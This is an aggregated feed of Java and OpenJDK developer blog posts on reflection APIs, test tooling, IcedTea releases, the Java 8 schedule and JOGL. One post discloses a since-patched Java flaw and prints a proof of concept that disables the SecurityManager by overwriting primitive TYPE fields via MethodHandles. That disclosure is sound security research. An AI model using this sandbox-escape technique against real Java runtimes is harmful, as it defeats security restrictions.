Planet Classpath
Back when the javax.lang.model API was being designed as part of JSR 269, while the API was primarily intended for use at compile-time with annotation processing, the expert group also wanted the API to be usable in other contexts as well, including at runtime.
JEP 119, javax.lang.model Implementation Backed by Core Reflection, proposed adding such an alternative runtime implementation of javax.lang.model to JDK 8. Such an implementation has recently been pushed as sample code in the JDK 8 langtools repository.
At a high level, the sample code is at its core repeated uses of the adapter pattern, translating between the core reflection API and the javax.lang.model API.
However, there were a number of design issues in what interface the javax.lang.model implementation for core reflection should expose.
First, should a core reflection specialization of javax.lang.model expose a more specific interface? There are some advantages to just implementing the base API defined in the existing interfaces; it is the simplest approach and would appear to maximize the ability to inter-operate with other implementations. However, javax.lang.model depends on hidden state to define concepts like equality, so there is intrinsically limited inter-operation between disjoint implementations. Therefore, especially in sample code, it was viewed as worthwhile to experiment with a more specific API in the core reflection case.
To make the javax.lang.model backed by core reflection more specific, for each FooElement interface in javax.lang.model.element, a ReflectionFooElement subinterface was defined, as shown in the diagram below.
The subinterfaces are specialized in a few ways:
FooElement, a covariant override in the subinteface was defined to return a ReflectionFooElement.
List< ? extends FooElement>, a covariant override in the subinteface was defined to return a List<ReflectionFooElement>.
getBar(FooElement arg) methods defined in the Elements helper interface, add a getBar() method to the ReflectionFooElement subinterface.
getSource method to the root ReflectionElement interface to return the underlying core reflection object being adapted and add covariant overrides in subinterfaces as appropriate.
ReflectionElement interface implements the full AnnotatedElement interface, not just the subset of its methods found in the base javax.lang.model.element.
A cost of specializing the API is the need to define a new visitor interface as well. Covariant overrides cannot be used as in the element modeling interfaces since the visitor methods take elements in the argument position rather than the return position.
Generally, working on the core reflection specialization proceeded as expected.
Equality determinations were generally delegated to core reflection source object; in other words, two ReflectionElement objects are equal if they are instances of the same interface and if their sources are .equals.
Writing the sample code highlighted several shortcomings of the core reflection API which have been addressed in Java SE 8, including the addition of an Executable type to abstract over the commonalities of Method and Constructor.
The sample code also benefited from other reflection changes in Java SE 8, such as the introduction of a java.lang.reflect.Parameter class and retrofitting TypeVariable to extend AnnotatedElement.
While significantly more testing would be needed to productize javax.lang.model backed by core reflection, even as sample code it validates a number of the technological decisions made in JSR 269 and is an interesting demonstration of how one of the platform's reflective APIs can be bridged to another.
jtreg provides support for various different types of tests. API tests can use "@run main", simple compiler tests can use "@compile", and simple GUI or applet tests can use "@run applet".
And then there's the ubiquitous "misc" or "other" category, for which "@run shell" is provided. However, there are a number of reasons why not to use "shell tests", and recently we made another step forward to reduce the use of shell tests in the langtools repository.
Perhaps the most significant issue is that of cross-platform portability, and related to that, which shell environment to use? Initially, on Windows the requirement was to use MKS, but recently, Cygwin has become the standard. Both of these have suble and not so subtle differences to shell environments on Unix-like platforms, which lead to subtle rules about being careful about which commands to use and not use, or to large cut-n-paste blocks of text at the head of a script to set up platform-specific variables such as FS (for the file separator) and PS (for the path separator). These blocks of text had to be updated when the Mac became a standard supported platform, and are potentially a source of issues in the context of porting OpenJDK to other platforms.
A corollary is that it is difficult to write and test a reliable cross-platform test in a shell script. In the early days of Java, it was common for JDK developers to have a collection of machines under their desk, so that tests could be run on all supported platforms. That was both expensive and inefficient. Even today, with virtualization, it is still problematic to run tests on all supported platforms, and so it is better to write tests such that the test more likely to work across all supported platforms.
Another issue is that it can be hard to write a shell script that works well in the face of potential failure of the commands that it executes. It is easy to write a shell script that assumes everything works as expected; it is much harder to (remember to) program defensively that some commands might fail. And when a command fails, you need to be able to verify that it failed for the right reason.
Even worse than the points in the preceding paragraphs, it is hard to write a good test in shell script, period. The inverse may be more obviously true: it is far too easy to write a bad test in shell script, that will not behave as expected. Executing the command "java" will look for the command on your PATH, which is almost certainly not the version you should be using, which is probably ${TESTJAVA}/bin/java. Executing a command like "rm stuff" at the end of the script will likely succeed, and will make the test appear to succeed, even if preceding commands have failed. And on Windows, you need to be very careful to understand the differences in the way that Cygwin and Java handle filenames and paths.
Finally, there is the issue of performance. Driven by the desire for higher quality, that has meant wanting to run more tests more often, and that has led to wanting to run the tests faster [1, 2]. The Java/shell boundary is an impenetrable performance barrier. Even if the shell script invokes Java commands, they're each still in a different/fresh/cold new JVM, which means you lose the potential benefit of any JVM optimizations. Now, sometimes it is indeed necessary for the test to start a new JVM – for example, to run a program in a JVM with a particular set of JVM options – but that is often not the case, especially in the langtools world testing programs like javac, javadoc, and so on. Writing a test in Java gives you the choice of when to stay within the same JVM and when to start a new one; writing a test as a shell script, you have no such choice.
As you can see illustrated in the graph above, there have been three significant reductions in the number of shell tests in the langtools repository.
The first major reduction followed an analysis of the reasons that shell scripts were being used. It turned out that a significant number of shell tests were running javac, and then using diff to compare the console output from javac against a so-called golden file containing expected output. Supposedly, jtreg directly supported such a feature, but in reality, it did not work well enough to be useful, and so shell tests were being used to worked around that issue. Once the tool was fixed, it became possible to replace a whole category of shell tests with tests that were equivalent, or better, using other jtreg action tags.
The second major reduction in the number of shell tests followed the removal of the apt early in the development cycle for JDK 8. The tests for the tool were relatively complex, and a legitimate use of shell tests, although if the tool had not been scheduled for removal, it would have been worth rewriting these tests in Java. As it was, it was easier to wait for the tool to be removed, and to remove the tests along with it.
While the first two big reductions in the number of shell tests were significant, they were both the result of special circumstances -- working around bugs in jtreg, and the result of not needing the tests any more. The most recent reduction in the number of shell tests is of more general interest, since it is a more general purpose solution.
In the early days, Java was not a mature enough platform to consider writing the equivalent of shell scripts in Java. In addition, the default jtreg execution mode was "othervm", and it was much faster to run a shell script than it was to start up a new virtual machine just to sequence through the actions of a test that would in turn typically require even more virtual machines to be started.
Times change. The Java platform has matured, and it is now common to use jtreg to run tests in "samevm" or "agentvm" mode, which means that the cost of running a Java class to execute the steps of a test is much less than it was before. New language features (like try-with-resources) and new API (like java.lang.ProcessBuilder and java.nio.file.*) mean that is easier then ever before to use Java to perform a series of steps for which might have have previously considered using a shell script.
Attitudes change too. With hindsight, the initial simplicity of writing a shell test is a short term benefit compared to the long term maintenance cost. An equivalent Java program may have a higher initial cost, such as making you consider checked exceptions, but this can provide benefits later on, such as better detection and reporting of faults when something eventually does go wrong, years later.
With all this in mind, a recent addition to the LangTools team, Vicente Romero, took on the task of analysing the remaining shell scripts in the langtools test suite, with the goal of writing a library of useful methods, such that it was relatively easy to translate each shell script into an equivalent Java program. The result is a class we called ToolBox, and it provides equivalents for the commands we were previously using in our shell scripts. Some methods fork processes as needed; other methods can be implemented directly in the library, leveraging standard Java API.
The work to develop the ToolBox library has been a success and as a result, we converted a significant numer of the remaining shell tests in the langtools test suite to Java code. A few tests did not fit into the pattern of the rest of the tests, and will need to be re-examined before we can truly declare a shell-free test zone.
There is something of a hidden cost here, however: after all, nothing comes for free. The cost is that the tests all depend on a common shared library. In the early days, it was regarded as very important that tests should be as standalone as possible, such that they can be run and issues debugged outside the context of the test harness. That is maybe less important these days, and we see the use of standard test frameworks, like TestNG, and custom test frameworks, like JavadocTester for javadoc tests, and now ToolBox for shell-like tests. The cost is that we need to be careful (as with any library code) that if we change or evolve the API, we do not break existing clients.
Can we use ToolBox in other test suites, such as the main jdk regression suite? Yes, and no. First and foremost, those tests are in a different repository, and sharing across a repository boundary would be problematic. More significantly however, the code in the langtools ToolBox is customized to the needs of the langtools tests. Although the concept of the ToolBox class should be applicable to the jdk regression test suite, it is likely that an analysis of the shell scripts in that test suite would lead to a different set of utility methods in a jdk version of ToolBox. However, I am confident that if someone were to do so, they would see the same advantages in that test suite that we have seen in the langtools test suite.
1. Speeding up tests: a langtools milestone
2. Speeding up tests again: another milestone
The IcedTea project provides a harness to build the source code from OpenJDK using Free Software build tools, along with additional features such as a PulseAudio sound driver and support for alternative virtual machines.
This release updates our OpenJDK 7 support to include the latest security updates. We recommend that users of the 2.1.x branch upgrade to this latest release as soon as possible. The security fixes are as follows:
In addition, IcedTea includes the usual IcedTea patches to allow builds against system libraries and to support more esoteric architectures.
If you find an issue with the release, please report it to our bug database under the appropriate component. Development discussion takes place on the distro-pkg-dev OpenJDK mailing list and patches are always welcome.
Full details of the release can be found below.
The tarball can be downloaded from:
SHA256 checksum:
The tarball is accompanied by a digital signature available at the above ‘sig’ link. This is produced using my public key. See details below.
The following people helped with these releases:
We would also like to thank the bug reporters and testers!
To get started:
$ tar xzf icedtea-2.1.8.tar.gz $ cd icedtea-2.1.8
Full build requirements and instructions are in INSTALL:
$ mkdir icedtea-build $ cd icedtea-build $ ../icedtea-2.1.8/configure [--enable-zero --enable-pulse-java --enable-systemtap ...] $ make
If you are setting up VMs using libvirt then it’s a good idea to change the address of the virtual network to something other than the default. Why? Because if you don’t, and you create a guest which itself starts up libvirt and uses NetworkManager then at least some of the time your VM will start up with its networking hosed.
If the host is using the default network (192.168.122.0/24) and the guests also want to use that network then there is a race between NetworkManager bringing up eth0 and libvirt bringing up virbr0. libvirt checks for existing interfaces using the network it is configured for before starting up virbr0, so if NetworkManager brings up eth0 first then virbr0 will not be set up on the guest and everything will be fine. But, if eth0 is not set up by the time libvirt runs the check, then virbr0 will take 192.168.122.0/24, then eth0 will come up on 192.168.122.something, and you’ll have a VM with two separate interfaces connected to two separate networks that both have the same address range… and it won’t work!
The easy way to solve this is to not install libvirt on the guest, but you may not be able to change this until after the guest is running, and if libvirt starts up during a guest’s installer then you may need to complete parts of the installation with no networking. This may or may not be ok for you and your OS. I’m using VMs to set up clean test environments for GDB, and at the moment I’m setting up three or four new “machines” every day (and throwing them away when I’m done) so I want the process as streamlined as possible. If you only occasionally set up new VMs then some extra tasks during the installation may not be a problem, but it is pretty simple to change the network on the host and you only have to do it once:
virsh net-edit default192.168.122 to something elsevirsh net-destroy defaultvirsh net-start defaultIt’s a shame this can’t be fixed more conclusively elsewhere, but NetworkManager brings up the interfaces asynchronously at boot time which makes it impossible to definitively schedule libvirt’s startup to happen after NetworkManager.
Thank you Laine Stump for helping me out with this.
Hello,
Have you experienced the mysterious error, “Only dest dir longer than base dir not supported”?
I have.
The Problem
When you build an rpm, the code is built in %{_builddir}, which usually evaluates as %{_topdir}/BUILD, which in turn evaluates as something like /home/you/rpmbuild/BUILD. The built code (if built with GCC) ends up with loads of /home/you/rpmbuild/BUILD paths embedded in it, and the script /usr/lib/rpm/debugedit rewrites these paths to /usr/src/debug so that the debuginfo rpms work. /usr/lib/rpm/debugedit cannot extend strings, it can only shrink them. If you are seeing “Only dest dir longer than base dir not supported” then, somewhere in your build system, %{_builddir} is defined as something that expands to a string shorter than /usr/src/debug.
Example
In my case, I was building a glibc rpm in a VM that turned out not to have enough disk. I created a new disk, mounted it on /mnt, and added the line %_topdir /mnt to my ~/.rpmmacros. The result? “Only dest dir longer than base dir not supported”. I fixed it by editing ~/.rpmmacros to say %_topdir /mnt/rpmbuild.
Briefly
/usr/src/debug # the reference /mnt/BUILD # too short! /mnt/rpmbuild/BUILD # long enough
Thank you,
The Mgt.
At Devoxx France 2013, I attended to conference titled « Architecting for Continuous Delivery » presented by Axel Fontaine.
Facebook, Flickr and Stack Overflow are going in production many times per day and thus they do continuous delivery. Note : we can see that Stack Overflow’s version number is in the footer of pages.
Continuous delivery can’t be done from a snapshot version in order to allow reproducibility. So, the cycle is : run the tests, release a new version and deploy into the continuous delivery environment.
When the deployment is done manually, it must be automated. The deployed version must contain application binaries, differences between databases, as well as configuration for all environments (integration, acceptance test, production …). Environment detection must be automatic, by using an environment variable, a file located at a given place …
Axel advices to choose a tool managing database versions and execution order of scripts :
Feature toggle allows to avoid creation of branches (and therefore merge of branches and duplication of continuous integration environments). It offen means adding a ‘if’ in the source code, which avoids breaking existing code. Old code will be removed later when everything will be ok in production.
In order to survive an eventual server crash and maintain a web site always on, 2 computers must be used.
While deploying in production, one computer is used for deployment of the new version, connected to the same database. Compatibility of the old server with the database must be ensured : instead of renaming a column, another one must be added together with a trigger copying the old column to the new one. The old column and the trigger will be dropped later. For a web application running under tomcat, usage of a shared session cache like memcached-session-manager allows to preserve active sessions. Each computer host a tomcat instance and a memcached instance. The switch to the new version is done totally transparently for users.
At Devoxx France 2013, I attended to conference titled « Demining an application with JRockit Mission Control » presented by François Ostyn.
JRockit Mission Control is a tool for the JRockit JVM providing :
In order to maintain a single JVM, Oracle has created the HotRockit project to merge JRockit et Hotspot. Its results will be progressively integrated into Hotspot.
Since Java SE 7 update 4, Hotspot has same metrics as JRockit, which allows to use JRockit Mission Control with Hotspot. This one can be used 2 ways : with an eclipse plugin or with a command line.
Thanks to the eclipse plugin, Memleak analyser detects when the number of class instances is increasing and can visualize the call stack. After a run, Flight recorder can get event list in order to display heap and processor usage … In disconnected mode, it can also display memory leaks but not the graph of calls (visible only in connected mode).
The jcmd command (called jrcmd in JRockit) allows to run same queries as eclipse plugin. It can generate a .jfr file displayable with the eclipse plugin.
To finish, you must note that JRockit Mission Control is free for development but not for production and, according to François, it’s faster than profiling tools like Yourkit because metrics are implemented natively in the JVM.
The IcedTea project provides a harness to build the source code from OpenJDK using Free Software build tools, along with additional features such as a PulseAudio sound driver and support for alternative virtual machines.
This release updates our OpenJDK 7 support to include the latest security updates. We recommend that users of the 2.2.x branch upgrade to this latest release as soon as possible. The security fixes are as follows:
In addition, IcedTea includes the usual IcedTea patches to allow builds against system libraries and to support more esoteric architectures.
If you find an issue with the release, please report it to our bug database under the appropriate component. Development discussion takes place on the distro-pkg-dev OpenJDK mailing list and patches are always welcome.
Full details of the release can be found below.
The tarball can be downloaded from:
SHA256 checksum:
The tarball is accompanied by a digital signature available at the above ‘sig’ link. This is produced using my public key. See details below.
The following people helped with these releases:
We would also like to thank the bug reporters and testers!
To get started:
$ tar xzf icedtea-2.2.8.tar.gz $ cd icedtea-2.2.8
Full build requirements and instructions are in INSTALL:
$ mkdir icedtea-build $ cd icedtea-build $ ../icedtea-2.2.8/configure [--enable-zero --enable-pulse-java --enable-systemtap ...] $ make
Last week I proposed to delay the release of Java 8 in order to finish Project Lambda, which has been delayed due to Oracle’s renewed focus on the security of the Java Platform.
Thanks to everyone who responded to that proposal, in comments on my blog entry, on Twitter, and elsewhere. The feedback was generally in favor, though understandably tinged with disappointment. As of today we have a new plan of record: The target release date for Java 8 is now 2014/3/18.
Further schedule details are available on the JDK 8 Project pages.
I’ve done some internal work on my http-streams package. Quite a number of bug fixes, which I’m pleased about, but two significant qualitative improvements as well.
First we have rewritten the “chunked” transfer encoding logic. The existing code would accept chunks from the server, and feed them as received up to the user. The problem with this is the server is the one deciding the chunk size, and that means you can end up being handed multi-megabyte ByteStrings. Not exactly streaming I/O. So I’ve hacked that logic so that it yield‘s bites of maximum 32 kB until it has iterated through the supplied chunk, then moves on to the next. Slight increase in code complexity internally, but much smoother streaming behaviour for people using the library.
Secondly I’ve brought in the highly tuned HTTP header parsing code from Gregory Collins’s new snap-server. Our parser was already pretty fast, but this gave us a 13% performance improvement. Nice.
We changed the types in the openConnection functions; Hostname and Port are ByteString and Word16 now, so there’s an API version bump to 0.5.0. Literals will continue to work so most people shouldn’t be affected.
AfC
Security vulnerabilities related to Java running inside web browsers have lately received a lot of public attention. Here at Oracle we’ve mounted an intense effort to address those issues in a series of critical-patch update releases, the most recent of which we posted earlier this week. We’ve also upgraded our development processes to increase the level of scrutiny applied to new code, so that new code doesn’t introduce new vulnerabilities.
Maintaining the security of the Java Platform always takes priority over developing new features, and so these efforts have inevitably taken engineers away from working on Java 8. It’s one of the reasons why some features slipped past Milestone 6 (M6), our original Feature-Complete target at the end of January.
Looking ahead, Oracle is committed to continue fixing security issues at an accelerated pace, to enhance the Java security model, and to introduce new security features. This work will require more engineer hours than we can free up by dropping features from Java 8 or otherwise reducing the scope of the release at this stage.
As a consequence of this renewed focus on security the Java 8 schedule, with a GA release in early September, is no longer achievable.
Status As I’ve previously written, the most important work that slipped past M6 is related to Project Lambda, the sole driving feature of the release. We integrated the language and VM changes for Lambda late last year, but between all the moving parts involved and the security work it’s taken a bit longer than expected to put the finishing touches on the stream API and the related core-libraries enhancements (JEPs 107 and 109). Our best estimate right now is that we can finish this work by early May, about three months later than planned.
The other features that slipped past M6 are not release drivers, so in theory we could just drop them from the release, but if Lambda needs more time then there’s no point in doing that.
Alternatives So, what to do? There are many options; let’s look at a few of them.
If we drop Lambda then the remaining features are interesting but not, taken as a whole, very compelling. A Lambda-less release this year would hence be unlikely to gain wide adoption, so why bother? Lambda itself would not be available until 2016, assuming we maintain the two-year cadence that I’ve previously suggested. I don’t think anybody wants to wait that long.
If we sacrifice quality in order to maintain the schedule then we’ll almost certainly repeat the well-worn mistakes of the past, carving incomplete language changes and API designs into virtual stone where millions of developers will have to work around their flaws for years to come until those features—or the entire Platform—are replaced by something new.
With Lambda nearly complete, I don’t think it makes sense to delay its release. Beyond that, finishing Jigsaw would likely require more than a year’s delay, for reasons I’ve previously given and because key members of the Jigsaw team at Oracle have lately spent a lot of time working on security issues.
Hold the train I think the least-bad option is this:
If we can finish the remaining design and development work by early May then we should be able to test and stabilize the build over the summer and ship a solid Developer Preview release in early September.
To settle on a new GA date for Java 8 requires a bit more planning work, but my expectation is that we’d be able to ship the release in the first quarter of 2014.
That is, of course, more than a three-month slip from the current GA date in early September. At this point we’re not confident that we could be ready for a GA release in November, and experience has shown that it’s almost always a bad idea to try to ship a major software release in December, so that pushes the GA date well into the first quarter.
This option would not open the gates for a flood of new features in Java 8, nor would it permit the scope of existing features to grow without bound. We’d likely add a select few additional features, especially in areas related to security. In general, however, we’d use the additional time to stabilize, polish, and fine-tune the features that we already have rather than add a bunch of new ones. We’ve been down that latter road before, and it’s long and ugly.
Is this the best possible course of action? I think it’s better than the alternatives, but I’m open to suggestions. In the meantime I’m going to ask the same question of the Java SE 8 Expert Group and of the contributors to the Reference Implementation in the JDK 8 Project.
Features vs. schedule I’ve previously argued that it’s best to structure the Java development process as a continuous pipeline of innovation that’s only loosely coupled to a regular, rhythmic release process. If a major feature misses its intended release train then that’s unfortunate but it’s not the end of the world: It will be on the next train, which will also leave at a predictable time.
I still think that’s a good general policy. Adhering strictly to it in this case, however, would mean that we’d take the first option above—i.e., drop Lambda and stick to the schedule—which I strongly doubt anyone actually wants. An exception to the general policy is therefore well justified.
If we adopt my proposal above then we should be able to complete the browser-related security work to which we’ve committed and then resume a regular two-year release cadence, with Java 8 due in early 2014 and Java 9 in early 2016.
Yesterday I wrote about the security issue fixed in Update 21. Today I'll describe the "Security-In-Depth" issue.
As a result of the Thread Cloning Vulnerability, Oracle removed honoring the absense of ACC_SUPER from HotSpot in Update 13. The HotSpot patch can be seen here.
Again, while working on IKVM's dynamic binding, I found that it was still possible to do a non-virtual invocation of an overridden method by using a MethodHandle. This was fixed in Update 21.
Here's an example that uses Indify to generate the MethodHandle constants and manages to call Object.clone() on a Thread object on Update 13:
![[del.icio.us]](http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/delicious.png)
![[Digg]](http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/digg.png)
![[Google]](http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/google.png)
![[LinkedIn]](http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/linkedin.png)
![[StumbleUpon]](http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/stumbleupon.png)
![[Windows Live]](http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/windowslive.png)
![[Yahoo!]](http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/yahoo.png)
![[Email]](http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/email.png)
import java.lang.invoke.*;
class test extends Thread implements Cloneable {
public static void main(String[] args) throws Throwable {
test obj = new test();
System.out.println(obj == MH_1().invokeExact(obj));
}
private static MethodHandle MH_1() throws Throwable {
return MethodHandles.lookup().findSpecial(Object.class, "clone",
MethodType.methodType(Object.class), test.class);
}
}
You can compile and run this without Indify and it will show the problem (on versions before Update 21), but you need to run Indify to make it work with an active SecurityManager.
The difference between looking up method handles via the API versus using MethodHandle constants is analogous to the difference between normal bytecode method invocation and classic reflection. When going via the API the SecurityManager is involved, but the runtime linker does not call the SecurityManager. MethodHandle constants (when they are properly implemented) don't allow you to do anything that normal bytecode can't do. This is why the claim made by Security Explorations about Issue 54 was incorrect.
While I was working on rewriting IKVM's dynamic binding support based on method handles I stumbled into a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite public final fields. This has been fixed in Update 21.
Below is a proof of concept that disables the security manager. It works by changing Double.TYPE to Integer.TYPE and then using reflection to copy an integer field from one object to another, but because of the patched TYPE fields reflection thinks the integer field is a double and copies 8 bytes instead of 4.
import java.lang.invoke.MethodHandle;
import java.lang.reflect.Field;
import static java.lang.invoke.MethodHandles.lookup;
class Union1 {
int field1;
Object field2;
}
class Union2 {
int field1;
SystemClass field2;
}
class SystemClass {
Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,
f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,
f24,f25,f26,f27,f28,f29,f30;
}
class PoC {
public static void main(String[] args) throws Throwable {
System.out.println(System.getSecurityManager());
disableSecurityManager();
System.out.println(System.getSecurityManager());
}
static void disableSecurityManager() throws Throwable {
MethodHandle mh1, mh2;
mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);
mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);
Field fld1 = Union1.class.getDeclaredField("field1");
Field fld2 = Union2.class.getDeclaredField("field1");
Class classInt = int.class;
Class classDouble = double.class;
mh1.invokeExact(int.class);
mh2.invokeExact((Class)null);
Union1 u1 = new Union1();
u1.field2 = System.class;
Union2 u2 = new Union2();
fld2.set(u2, fld1.get(u1));
mh1.invokeExact(classDouble);
mh2.invokeExact(classInt);
if (u2.field2.f29 == System.getSecurityManager()) {
u2.field2.f29 = null;
} else if (u2.field2.f30 == System.getSecurityManager()) {
u2.field2.f30 = null;
} else {
System.out.println("security manager field not found");
}
}
}
The OpenJDK wiki is now available for use:
http://wiki.openjdk.java.net
As written up in
JEP 182: Policy for Retiring javac -source and -target Options, we're implementing a policy to over time clean up the -source and -target portions of javac's command line:
javac when put on the classpath, etc.
-target options 1.4.1, 1.4.2, and jsr14 have been removed in JDK 8 (8010179).
Removing support for the old options will ease compiler maintenance in several ways. First, there will be direct benefits from allowing some code to be deleted. Nixing jsr14 allowed about 250 lines of code to be excised. Second, fewer interactions between new language features and old source levels need to be handled in the compiler. The Java Language Specification only deals with a single version of the language and there is no formal specification of many aspects of how a Java compiler is supposed to behave. To use a recent example, there is no specification for how a new-in-8 default method being introduced to the language and core libraries by Project Lambda should appear to code being compiled under, say, -source 6. Limiting the span of source and target version supported reduces the need to define such cross-version interactions. (The practical impact of source cross-version interfaces would be greatly reduced if developers more often follwed the recommended practice of setting the bootclasspath when cross-compiling to an older platform version.)
This policy will help balance stability versus progress and should cover releases having public updates when a new JDK is released.
Really the last person I would have ever expected to see with a red hat. Cheers Mark!
Now that OpenJDK has an improved new build system, it is time to re-examine our test infrastructure with a view to gaining similar improvements for writing and running tests.
We have an ongoing problem with test reliability. Part of the issue is that we write our tests in Java, which apparently, and regrettably, has bugs in it. (Otherwise, why would we be testing it?) With the recent progress in Java scripting technology over the past couple of years, we should convert all our tests to use a scripting language. Although, we currently specify the use of Bourne shell, there are too many evolutionary variants of that, and so it is proposed we instead use Perl for all our test code. Of course, there are different versions of Perl, and so users will have to run a configure script ahead of time to determine if they have enough versions of Perl available on their system, and to recommend how to compile additional versions if necessary.
From early days, JavaTest, jtharness and jtreg have embraced the web, providing HTML reports, support for an HTTP server to be available while tests are running, and servlets to display test results in full color, eliminating the need for thousands of words. We should build on those ideas and embrace web-based test execution and reporting using a new PHP-based back-end for jtreg.
Finally, we should rewrite jtreg itself in Python. This will facilitate easy integration into our work flow as a Mercurial extension. Initially, this can be provided as "hg test" but the long term goal is to integrate jtreg functionality into jcheck, so that all appropriate tests are run automatically before any code can be pushed to a jcheck-controlled forest.
Quick update to http-streams, making a requested API change to the signature of the buildRequest function as well as pushing out some bug fixes and performance improvements.
You no longer need to pass the Connection object when composing a Request, meaning you can prepare it before opening the connection to the target web server. The required HTTP 1.1 Host: header is added when sendRequest is called, when the request is written to the server. If you need to see the value of the Host: field that will be sent (ie when debugging) you can call the getHostname function.
I’ve added an “API Change Log” to the README file on GitHub, and the blog post introducing http-streams has been updated reflect the signature change.
Thanks to Jeffrey Chu for his contributions and to Gregory Collins for his advice on performance improvement; this second release is about 9% faster than the original.
AfC
As johnath blogged, we’ve had a bit of a conversation going with the office across from us. I wanted to add a few more photos and a video that I took.
mconley arrives with the package
I believe at this point they are reading the label
Is this what I think it is? It is!
Mask modelling
(link to the video in case Planet doesn’t like the iframe)
Today marks one year at Red Hat for me (in fact, I started on 29th of February, so in reality my first year will be in 3 years from now, weird :)
It was a superb year, Red Hat confirms to be one of the best company one can desire to work with, it's challenging, interesting and fun.
And of course, I have the best possible team mates I can desire!
I'm waiting forward for another great year, new projects, new challenges. And all in the Open!
2008: Sun Microsystems invested heavily into using hardware acceleration on mobile devices using JOGL. This was the foundation to get JavaFX 1.3 running across devices. Video of James Gosling, Ken Russell and Sven Gothel on stage at JavaOne 2008 keynote http://www.youtube.com/watch?v=DeupVAMnvFA.
Ken Russel later wrote his last Sun blog-post that covers the technology demonstrated in this first OpenGL ES 2 JOGL demonstration: https://blogs.oracle.com/kbr/entry/java_on_the_nvidia_apx.
Later during the same year Sven Gothel demonstrated hardware accelerated OpenMAX video decoding on the same Tegra 1 mobile device using the new re-architectured JOGL 2 with stellar mobile support: http://www.youtube.com/watch?v=D6Lkw3eZK1w
2009: The core members of the JOGL and Java3D team left Sun before Oracle took over and forked JOGL.
http://jausoft.com/blog/2009/11/09/jogl-is-dead-long-live-jogl/
http://www.java-gaming.org/index.php/topic,21516.0.html
2010: The JogAmp community was created.
2011: Oracle Gives up on Java3D (and JOGL) for RIA (Webstart and Applets)
The Oracle decision to remove all signed Java3D and JOGL builds from their servers, and hence break all existing online Java3D/JOGL applications using the SUN/Oracle builds, this have only been mentioned by Oracle inside the java.net support forum.
Fortunately JOGL and Java3D was originally released under a BSD license so it was possible for the community to keep-on maintaining the bindings and provide JogAmp signed builds.
2012: Oracle work on flushing out its own use of JOGL in JavaFX by removing jogl-prism. Oracle no longer give programmers direct access to OpenGL using their APIs.
Oracle announced during JavaOne 2012 that Oracle would like to get help from the community to port JavaFX to new platforms under the OpenJFX project. Surely the community can help by re-implement jogl-prism and adding raw JOGL support into OpenJFX to ease future OpenJFX porting efforts.
Xerxes Rånby demonstrates JogAmp Java JOGL OpenGL ES bindings, at Linaro Connect LCE12 demo friday, across devices.
JOGL v2 now runs on the latest GPU cores and work on top of any JVM. JOGL v2 contains its own platform independent NEWT windowing toolkit. NEWT applications targeting the GL2ES2 or GL2ES1 profile, both using a common subset of OpenGL and ES calls, can be deployed across different platforms and devices from desktop to mobile without code change.
http://jogamp.org
http://jogamp.org/doc – Documentation, slides, and videorecording from the latest live JogAmp demonstrations
http://forum.jogamp.org/java3d-f3728156.html
hharrison now maintain Java3D on github
Julien Gouesse: Java 3D est de retour [Java 3D is back]
Excellent post by cnx-software listing all the reverse engineering effort put into bringing opensource ARM GPU drivers to GNU/Linux.
http://www.cnx-software.com/2013/02/14/open-arm-gpu-drivers-fosdem-2013-video-and-call-to-arm-management/
The post links and embeds libv’s excellent FOSDEM 2013 reverse engineering ARM GPU driver talk.
The lima and freedreno reverse engineered drivers are both now known to be able to run Quake 3. The lima driver is now actually faster than the closed source ARM Mali driver!
http://libv.livejournal.com/24092.html – Hey ARM!
We are not going away, we are here to stay. We cannot be silenced or stopped anymore, and we are becoming harder and harder to ignore.It is only a matter of time before we produce an open source graphics driver stack which rivals your binary in performance. And that time is measured in weeks and months now. The requests from your own customers, for support for this open source stack, will only grow louder and louder.
So please, stop fighting us. Embrace us. Work with us. Your customers and shareholders will love you for it.
– libv.
Intel have taking the lead and released all their OpenGL ES 3 driver code into Mesa
http://linux.slashdot.org/story/13/02/13/1756208/intel-supports-opengl-es-30-on-linux-before-windows
http://www.phoronix.com/scan.php?page=news_item&px=MTMwMDg
http://cgit.freedesktop.org/mesa/mesa/log/?h=gles3 – this is how you should work, kudos to Intel.
Android have for a long time refused vendors to ship ARM OpenCL drivers on Google approved Android devices.
http://code.google.com/p/android/issues/detail?id=36361 – Android lead Declined Support for OpenCL
Over night everything changed:
Google ships secret #ARM #MALI T-604 #OpenCL driver in Nexus 10 to accelerate Renderscript.
http://www.youtube.com/watch?v=GrqKJehawr8
http://beyond3d.com/showthread.php?t=63071
The OpenCL SDK for ARM Mali is now available! http://bit.ly/YOS1YA #opencl #gpu @ARMMultimedia
OpenCL drivers for Samsung Exynos 5 board landed here: http://streamcomputing.eu/knowledge/sdks/samsung-exynos-5-board/
Also the Zii labs ZMS line supports CL http://codedivine.org/2013/02/01/renderscript-from-the-perspective-of-an-openclcudac-amp-programmer/
Amazon android line is rumored to support CL as well…
So with all these new news surfacing it looks like ARM devices running the new T-604 MALI GPU will have OpenCL drivers especially the Google Nexus 10 tablet that is reported to include the drivers in the stock install!
So this means we now have a good way to hardware accelerate FFT on ARM using OpenCL!
I want to use #OpenCL on #ARM to do fast live music #FFT analysis for better jazz music on the go
http://www.jazzperiments.com/jazzperiments.html
JogAmp have implemented OpenCL bindings on GNU/LInux and packaged .apk for Android feel free to jump in and help with testing on real devices!
The current priority list for JogAmp OpenCL and OpenGL ES 3 integration is found inside the forum: http://forum.jogamp.org/JInput-Delivery-tp4028209p4028210.html
Cheers and have a great twitter valentine tweet day!
v3 is the new <3
Xerxes
The last couple of years, I had to pass FOSDEM, for various reasons. I am very very happy that I finally sorted things out for this years FOSDEM, and I’m ready to go (hotel and trains booked). I will do a presentation about my Shark & Zero work on Saturday afternoon, and co-present Thermostat with Mario on Sunday noon, both in the Java dev room.
